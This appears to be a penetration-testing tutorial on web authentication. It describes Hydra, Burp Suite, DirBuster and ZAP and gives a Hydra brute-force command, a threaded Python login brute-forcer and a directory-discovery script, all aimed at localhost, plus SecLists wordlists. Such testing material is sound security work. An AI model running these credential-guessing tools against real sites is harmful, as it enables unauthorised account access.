Before writing our own scripts, let's look at some popular tools for testing authentication:
Hydra is a fast network authentication cracking tool.
Basic usage for web form:
hydra -L userlist.txt -P passlist.txt website.com http-post-form "/index.html:username=^USER^&password=^PASS^:Incorrect"
Key parameters:
-L: Username list
-P: Password list
http-post-form: Specifies we're attacking a web form
The string after contains the path, post parameters, and failed login message
Burp Suite's Intruder tool is excellent for testing authentication:
Capture a login request
Send to Intruder
Set payload positions (username/password fields)
Load wordlists
Start attack
Burp Suite can also:
Track session tokens
Follow redirects
Handle various authentication mechanisms
Show detailed response analysis
DirBuster is specifically designed to find hidden URLs and directories.
Features:
Built-in wordlists
Multiple threads
Advanced filtering
Recursive scanning
ZAP can automatically spider your application to find URLs and test them:
Set up ZAP as a proxy
Spider the application while logged out
Log in and spider again
Compare results to find protected URLs
Similar to ZAP, but with some additional features:
Application mapping
Hidden parameter discovery
JavaScript parsing
Now that we understand the tools, let's write our own scripts for more targeted testing.
import requests
import time
from concurrent.futures import ThreadPoolExecutor
class AuthTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_login(self, username, password):
"""
Tests login credentials by sending a POST request to the server.
Parameters:
username (str): Username to test.
password (str): Password to test.
Returns:
bool: True if login is successful, False otherwise.
"""
data = {
'username': username,
'password': password
}
try:
response = self.session.post(f"{self.base_url}/index.html", data=data)
# Check for unique content from success.html
if "Welcome" in response.text: # Replace "Welcome" with a unique string from success.html
print(f"[+] Success! {username}:{password}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
def brute_force(self, usernames_file, passwords_file, max_workers=5):
"""
Performs a brute-force login attempt using a list of usernames and passwords.
Parameters:
usernames_file (str): File containing usernames, one per line.
passwords_file (str): File containing passwords, one per line.
max_workers (int): Number of concurrent workers (default: 5).
"""
with open(usernames_file) as u, open(passwords_file) as p:
usernames = [x.strip() for x in u.readlines()]
passwords = [x.strip() for x in p.readlines()]
print(f"[*] Loaded {len(usernames)} usernames and {len(passwords)} passwords")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for username in usernames:
for password in passwords:
executor.submit(self.test_login, username, password)
time.sleep(0.1) # Prevent overwhelming the server
# Usage
if __name__ == "__main__":
# Replace 'http://localhost:5000' with your server's base URL
tester = AuthTester('http://localhost:5000')
tester.brute_force('usernames.txt', 'passwords.txt')
import requests
from urllib.parse import urljoin
def simple_dirbuster(base_url, wordlist_file):
found_urls = [] # List to store discovered URLs
# Load wordlist paths
with open(wordlist_file) as f:
paths = [x.strip() for x in f.readlines()]
# Add .html variations for all paths
paths_with_html = [path + ".html" for path in paths]
all_paths = paths + paths_with_html
print(f"Scanning {len(all_paths)} paths...")
# Test each path
for path in all_paths:
url = urljoin(base_url, path)
try:
response = requests.get(url, allow_redirects=False)
# Record any URL with status code 200, 302, 401, or 403
if response.status_code in [200, 302, 401, 403]:
print(f"[FOUND] {url} ({response.status_code})")
found_urls.append((url, response.status_code))
except requests.RequestException as e:
print(f"[ERROR] {url}: {e}")
# Display results
print("\nDiscovered URLs:")
if found_urls:
for url, status in found_urls:
print(f"- {url} ({status})")
else:
print("No URLs found.")
return found_urls
# Usage example
# Replace 'http://localhost:5000' with the target URL
# Replace 'common_paths.txt' with the path to your wordlist file
discovered_urls = simple_dirbuster('http://localhost:5000', 'common_paths.txt')
Start with automated tools:
Run Hydra for quick password testing
Use DirBuster/ZAP to find endpoints
Monitor with Burp Suite
Run custom scripts:
Test for weak passwords
Check session handling
Discover protected URLs
Manual testing:
Try accessing protected URLs after logout
Test session timeout
Check concurrent login behavior
Validate logout functionality
Username lists:
SecLists/Usernames/top-usernames-shortlist.txt
Common admin usernames (admin, administrator, root)
Generated usernames (first.last, firstl, etc.)
Password lists:
SecLists/Passwords/Common-Credentials/10k-most-common.txt
SecLists/Passwords/Default-Credentials/default-passwords.txt
Collections of leaked passwords (with permission)
URL path lists:
SecLists/Discovery/Web-Content/common.txt
SecLists/Discovery/Web-Content/quickhits.txt